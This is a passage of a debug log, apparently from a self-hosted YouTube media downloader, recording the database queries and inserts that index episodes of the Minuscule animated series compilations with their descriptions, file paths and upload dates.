("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Come Christmas | S01E63\n00:04:38 | The Mosquito | S01E58\n00:08:48 | The Winter Of Our Discontent | S01E67\n00:13:37 | O Tannenbaum | S01E71\n00:18:16 | A Mosquito Day Afternoon | S01E72\n00:22:56 | Bless You! | S01E66\n00:27:07 | Interior Cobwebs | S01E64\n00:31:34 | King Size Camembert | S01E45\n00:36:13 | Picnic | S01E24\n00:40:57 | Windswept | S01E68\n00:45:46 | A Gust Of Wind | S01E13\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Christmas #snowing #mosquito #fireplace #trapped #domino #surprises #Minuscule #nature #insects #ladybugs #animatedseries", "Come Christmas | Minuscule 🍃 60' Compilation", "72ef57b0-ef3d-481c-a658-833f6f268973", "uvcd_nvOz7g", 3059, false, 4, "https://www.youtube.com/watch?v=uvcd_nvOz7g", 29, "/downloads/Miniscule Season 1/2025-08-14 Come Christmas | Minuscule 🍃 60' Compilation/Come Christmas | Minuscule 🍃 60' Compilation [uvcd_nvOz7g].mkv", false, false, false, [], 1, ~U[2025-08-14 10:01:34Z], ~U[2025-12-14 07:48:55Z], ~U[2025-12-14 07:48:55Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Come Christmas | S01E63\n00:04:38 | The Mosquito | S01E58\n00:08:48 | The Winter Of Our Discontent | S01E67\n00:13:37 | O Tannenbaum | S01E71\n00:18:16 | A Mosquito Day Afternoon | S01E72\n00:22:56 | Bless You! | S01E66\n00:27:07 | Interior Cobwebs | S01E64\n00:31:34 | King Size Camembert | S01E45\n00:36:13 | Picnic | S01E24\n00:40:57 | Windswept | S01E68\n00:45:46 | A Gust Of Wind | S01E13\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Christmas #snowing #mosquito #fireplace #trapped #domino #surprises #Minuscule #nature #insects #ladybugs #animatedseries", "Come Christmas | Minuscule 🍃 60' Compilation", "uvcd_nvOz7g", 3059, false, 4, "https://www.youtube.com/watch?v=uvcd_nvOz7g", "/downloads/Miniscule Season 1/2025-08-14 Come Christmas | Minuscule 🍃 60' Compilation/Come Christmas | Minuscule 🍃 60' Compilation [uvcd_nvOz7g].mkv", false, ~U[2025-08-14 10:01:34Z]] 00:48:55.459 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=262.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:55.460 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:55.460 [debug] QUERY OK source="media_items" db=0.3ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [95533] 00:48:55.461 [debug] Current batch of media processed. Will check again in 1000ms 00:48:56.462 [debug] Current batch of media processed. Will check again in 1000ms 00:48:57.463 [debug] Current batch of media processed. Will check again in 1000ms 00:48:58.464 [debug] Current batch of media processed. Will check again in 1000ms 00:48:59.465 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Dragonflies | S01E33\n00:04:43 | The Ladybug | S01E01\n00:09:20 | The Wild Bunch | S01E74\n00:13:59 | The Zzzzzz Patrol | S01E39\n00:18:38 | Mad Fly | S01E55\n00:23:17 | The Last Supper | S01E25\n00:28:06 | Some Weird Fly | S01E78\n00:32:35 | Cherry Tomato | S01E77\n00:37:14 | Horsefly | S01E21\n00:41:56 | Insect High Velocity | S01E53\n00:46:35 | Ladybugs | S01E17\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#dragonflies #racket #justice #ladybug #bees #chase #spider #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3105, "filename" => "/downloads/Miniscule Season 1/2025-08-12 Dragonflies | Minuscule 🍃 60' Compilation/Dragonflies | Minuscule 🍃 60' Compilation [3R4RspFR8b4].mkv", "id" => "3R4RspFR8b4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3R4RspFR8b4", "playlist_index" => 30, "timestamp" => 1754978406, "title" => "Dragonflies | Minuscule 🍃 60' Compilation", "upload_date" => "20250812"} 00:48:59.466 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=820.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:48:59.467 [debug] QUERY OK source="sources" db=0.4ms idle=821.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:59.469 [debug] QUERY OK source="media_items" db=1.1ms idle=822.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-12 06:00:06Z], 4] 00:48:59.472 [debug] QUERY OK source="media_items" db=2.3ms idle=824.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Dragonflies | S01E33\n00:04:43 | The Ladybug | S01E01\n00:09:20 | The Wild Bunch | S01E74\n00:13:59 | The Zzzzzz Patrol | S01E39\n00:18:38 | Mad Fly | S01E55\n00:23:17 | The Last Supper | S01E25\n00:28:06 | Some Weird Fly | S01E78\n00:32:35 | Cherry Tomato | S01E77\n00:37:14 | Horsefly | S01E21\n00:41:56 | Insect High Velocity | S01E53\n00:46:35 | Ladybugs | S01E17\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#dragonflies #racket #justice #ladybug #bees #chase #spider #Minuscule #nature #insects #ladybugs #animatedseries", "Dragonflies | Minuscule 🍃 60' Compilation", "34e871b4-2042-46cd-bede-71a3e3ba3106", "3R4RspFR8b4", 3105, false, 4, "https://www.youtube.com/watch?v=3R4RspFR8b4", 30, "/downloads/Miniscule Season 1/2025-08-12 Dragonflies | Minuscule 🍃 60' Compilation/Dragonflies | Minuscule 🍃 60' Compilation [3R4RspFR8b4].mkv", false, false, false, [], 1, ~U[2025-08-12 06:00:06Z], ~U[2025-12-14 07:48:59Z], ~U[2025-12-14 07:48:59Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Dragonflies | S01E33\n00:04:43 | The Ladybug | S01E01\n00:09:20 | The Wild Bunch | S01E74\n00:13:59 | The Zzzzzz Patrol | S01E39\n00:18:38 | Mad Fly | S01E55\n00:23:17 | The Last Supper | S01E25\n00:28:06 | Some Weird Fly | S01E78\n00:32:35 | Cherry Tomato | S01E77\n00:37:14 | Horsefly | S01E21\n00:41:56 | Insect High Velocity | S01E53\n00:46:35 | Ladybugs | S01E17\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#dragonflies #racket #justice #ladybug #bees #chase #spider #Minuscule #nature #insects #ladybugs #animatedseries", "Dragonflies | Minuscule 🍃 60' Compilation", "3R4RspFR8b4", 3105, false, 4, "https://www.youtube.com/watch?v=3R4RspFR8b4", "/downloads/Miniscule Season 1/2025-08-12 Dragonflies | Minuscule 🍃 60' Compilation/Dragonflies | Minuscule 🍃 60' Compilation [3R4RspFR8b4].mkv", false, ~U[2025-08-12 06:00:06Z]] 00:48:59.473 [debug] QUERY OK source="sources" db=0.5ms idle=268.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:48:59.474 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:48:59.475 [debug] QUERY OK source="media_items" db=0.6ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [95534] 00:48:59.475 [debug] Current batch of media processed. Will check again in 1000ms 00:49:00.476 [debug] Current batch of media processed. Will check again in 1000ms 00:49:00.651 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:49:01.128 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:01.477 [debug] Current batch of media processed. Will check again in 1000ms 00:49:02.478 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Jump, Jump, Jump | S01E76\n00:04:21 | The Infernal Anthill | S01E35\n00:08:41 | The Wild Bunch | S01E74\n00:13:20 | Insect High Velocity | S01E53\n00:17:58 | The Dung Beetle Battle | S01E15\n00:22:44 | The Ladybug | S01E01\n00:27:20 | Horsefly | S01E21\n00:32:02 | A Rolling Snail Gathers No Moss | S01E49\n00:36:38 | The Noodle Battle | S01E70\n00:41:12 | Ladybugs | S01E17\n00:45:52 | Catapult | S01E27\n00:50:39 | Hiccups | S01E26\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Jump #Grasshopper #Competition #Silly #competition #architecture #imagination #gravity #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3354, "filename" => "/downloads/Miniscule Season 1/2025-08-05 Jump, Jump, Jump | Minuscule 🍃 65' Compilation/Jump, Jump, Jump | Minuscule 🍃 65' Compilation [t7FndDVIcVk].mkv", "id" => "t7FndDVIcVk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=t7FndDVIcVk", "playlist_index" => 31, "timestamp" => 1754373647, "title" => "Jump, Jump, Jump | Minuscule 🍃 65' Compilation", "upload_date" => "20250805"} 00:49:02.479 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1833.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:49:02.480 [debug] QUERY OK source="sources" db=0.5ms idle=1828.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:02.481 [debug] QUERY OK source="media_items" db=0.9ms idle=1352.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-05 06:00:47Z], 4] 00:49:02.485 [debug] QUERY OK source="media_items" db=2.2ms idle=1274.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Jump, Jump, Jump | S01E76\n00:04:21 | The Infernal Anthill | S01E35\n00:08:41 | The Wild Bunch | S01E74\n00:13:20 | Insect High Velocity | S01E53\n00:17:58 | The Dung Beetle Battle | S01E15\n00:22:44 | The Ladybug | S01E01\n00:27:20 | Horsefly | S01E21\n00:32:02 | A Rolling Snail Gathers No Moss | S01E49\n00:36:38 | The Noodle Battle | S01E70\n00:41:12 | Ladybugs | S01E17\n00:45:52 | Catapult | S01E27\n00:50:39 | Hiccups | S01E26\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Jump #Grasshopper #Competition #Silly #competition #architecture #imagination #gravity #Minuscule #nature #insects #ladybugs #animatedseries", "Jump, Jump, Jump | Minuscule 🍃 65' Compilation", "4509d65a-de36-430f-b50e-8ce5eefd2205", "t7FndDVIcVk", 3354, false, 4, "https://www.youtube.com/watch?v=t7FndDVIcVk", 31, "/downloads/Miniscule Season 1/2025-08-05 Jump, Jump, Jump | Minuscule 🍃 65' Compilation/Jump, Jump, Jump | Minuscule 🍃 65' Compilation [t7FndDVIcVk].mkv", false, false, false, [], 1, ~U[2025-08-05 06:00:47Z], ~U[2025-12-14 07:49:02Z], ~U[2025-12-14 07:49:02Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Jump, Jump, Jump | S01E76\n00:04:21 | The Infernal Anthill | S01E35\n00:08:41 | The Wild Bunch | S01E74\n00:13:20 | Insect High Velocity | S01E53\n00:17:58 | The Dung Beetle Battle | S01E15\n00:22:44 | The Ladybug | S01E01\n00:27:20 | Horsefly | S01E21\n00:32:02 | A Rolling Snail Gathers No Moss | S01E49\n00:36:38 | The Noodle Battle | S01E70\n00:41:12 | Ladybugs | S01E17\n00:45:52 | Catapult | S01E27\n00:50:39 | Hiccups | S01E26\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Jump #Grasshopper #Competition #Silly #competition #architecture #imagination #gravity #Minuscule #nature #insects #ladybugs #animatedseries", "Jump, Jump, Jump | Minuscule 🍃 65' Compilation", "t7FndDVIcVk", 3354, false, 4, "https://www.youtube.com/watch?v=t7FndDVIcVk", "/downloads/Miniscule Season 1/2025-08-05 Jump, Jump, Jump | Minuscule 🍃 65' Compilation/Jump, Jump, Jump | Minuscule 🍃 65' Compilation [t7FndDVIcVk].mkv", false, ~U[2025-08-05 06:00:47Z]] 00:49:02.486 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=275.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:02.486 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:49:02.487 [debug] QUERY OK source="media_items" db=0.6ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [95119] 00:49:02.488 [debug] Current batch of media processed. Will check again in 1000ms 00:49:03.489 [debug] Current batch of media processed. Will check again in 1000ms 00:49:04.490 [debug] Current batch of media processed. Will check again in 1000ms 00:49:05.491 [debug] Current batch of media processed. Will check again in 1000ms 00:49:06.492 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Wild Bunch | S01E74\n00:04:38 | Insect High Velocity | S01E53\n00:09:17 | The Ladybug | S01E01\n00:13:54 | Horsefly | S01E21\n00:18:35 | A Rolling Snail Gathers No Moss | S01E49\n00:23:11 | Catapult | S01E27\n00:27:58 | Some Weird Fly | S01E78\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #flies #swarm #challenge #dragonfly #wasp #chase #engine #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1979, "filename" => "/downloads/Miniscule Season 1/2025-08-02 The Wild Bunch | Minuscule 🍃 40' Compilation/The Wild Bunch | Minuscule 🍃 40' Compilation [KjAEj_jj7wE].mkv", "id" => "KjAEj_jj7wE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=KjAEj_jj7wE", "playlist_index" => 32, "timestamp" => 1754157650, "title" => "The Wild Bunch | Minuscule 🍃 40' Compilation", "upload_date" => "20250802"} 00:49:06.493 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=847.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:49:06.494 [debug] QUERY OK 